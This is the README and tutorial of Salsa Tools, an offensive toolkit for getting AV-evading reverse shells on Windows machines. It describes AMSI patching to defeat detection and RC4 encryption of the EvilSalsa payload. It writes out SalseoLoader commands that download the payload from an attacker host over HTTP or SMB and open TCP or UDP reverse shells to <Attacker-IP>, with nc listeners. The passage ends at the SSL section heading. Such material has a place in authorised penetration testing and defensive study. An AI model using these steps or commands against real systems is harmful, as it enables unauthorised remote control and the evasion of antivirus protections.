Salsa Tools - An AV-Safe Reverse Shell dipped on bellota sauce

Salsa Tools is a collection of three different tools that combined, allows you to get a reverse shell on steroids in any Windows environment without even needing PowerShell for it's execution. In order to avoid the latest detection techniques (AMSI), most of the components were initially written on C#. Salsa Tools was publicly released by Luis Vacas during his Talk “Inmersión en la explotación tiene rima” which took place during h-c0n in 9th February 2019.

Features

* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity     
* AV Safe (17th February)
* AMSI patchers
* PowerShell execution 
* ...

Overview

Salsa-Tools is made from three different ingredients: - EvilSalsa - EncrypterAssembly - SalseoLoader And his behavior is as it follows:

Setup

Requirements

  • Visual Studio 2017 (or similar)
    • Microsoft.PowerShell.3.ReferenceAssemblies dependencies compiling in .NET 4.0
    • Microsoft.PowerShell.2.ReferenceAssemblies dependencies compiling in .NET 3.5
  • Python 2.7

[+] That is our Payload
                                 

EvilSalsa is the key ingredient of this recipe. It contains the payload, which is executed on the system as it follows: as soon as the payloads starts, it runs System.Management.Automation.dll which creates a runspace . Within that runspace we have four types of shells (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Once EvilSalsa is loaded, first thing first, the existence of c:\windows\system32\amsi.dll is checked. If it exists, it is patched using a home-cooked variant of CyberArk and Rastamouse bypasses.

 [+] Software that encrypts the payload using RC4
 [+] We have the version in python and the version in .exe

EncrypterAssembly can be used as a Python script or as a Exe binary. It encrypts the previously generated EvilSalsa.

Python usage:

python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>

Executable usage:

Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>

Bringing the Encrypted EvilSalsa to the table with SalseoLoader

SalseoLoader is in charge of loading the encrypted payload. Can be both compiled as a library or as an executable. If it is run as an executable, the chosen arguments must be provided when the executable is run. If it is compiled as a library, the descriptor "main" must be exported. Arguments are added using environmental variables.

Tutorial

Compiling the binaries

Download the source code from the github and compile EvilSalsa and SalseoLoader. You will need Visual Studio installed to compile the code.

Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).

You can select the architecture inside Visual Studio in the left "Build" Tab in "Platform Target".

(If you can't find this options press in "Project Tab" and then in " Properties")

Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):

Prepare the Backdoor

First of all, you will need to encode the EvilSalsa.dll. To do so, you can use the python script encrypterassembly.py or you can compile the project EncrypterAssembly

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt

Windows

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt

Ok, now you have everything you need to execute all the Salseo thing: the encoded EvilDalsa.dll and the binary of SalseoLoader. Upload the SalseoLoader.exe binary to the machine. It shouldn't be detected by any AV...

Execute the backdoor

Getting a TCP reverse shell (downloading encoded dll through HTTP)

Remember to start a nc as the reverse shell listener, and a HTTP server to serve the encoded evilsalsa.

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

Getting a UDP reverse shell (downloading encoded dll through SMB)

Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

Getting a TCP reverse shell SSL (using local file)
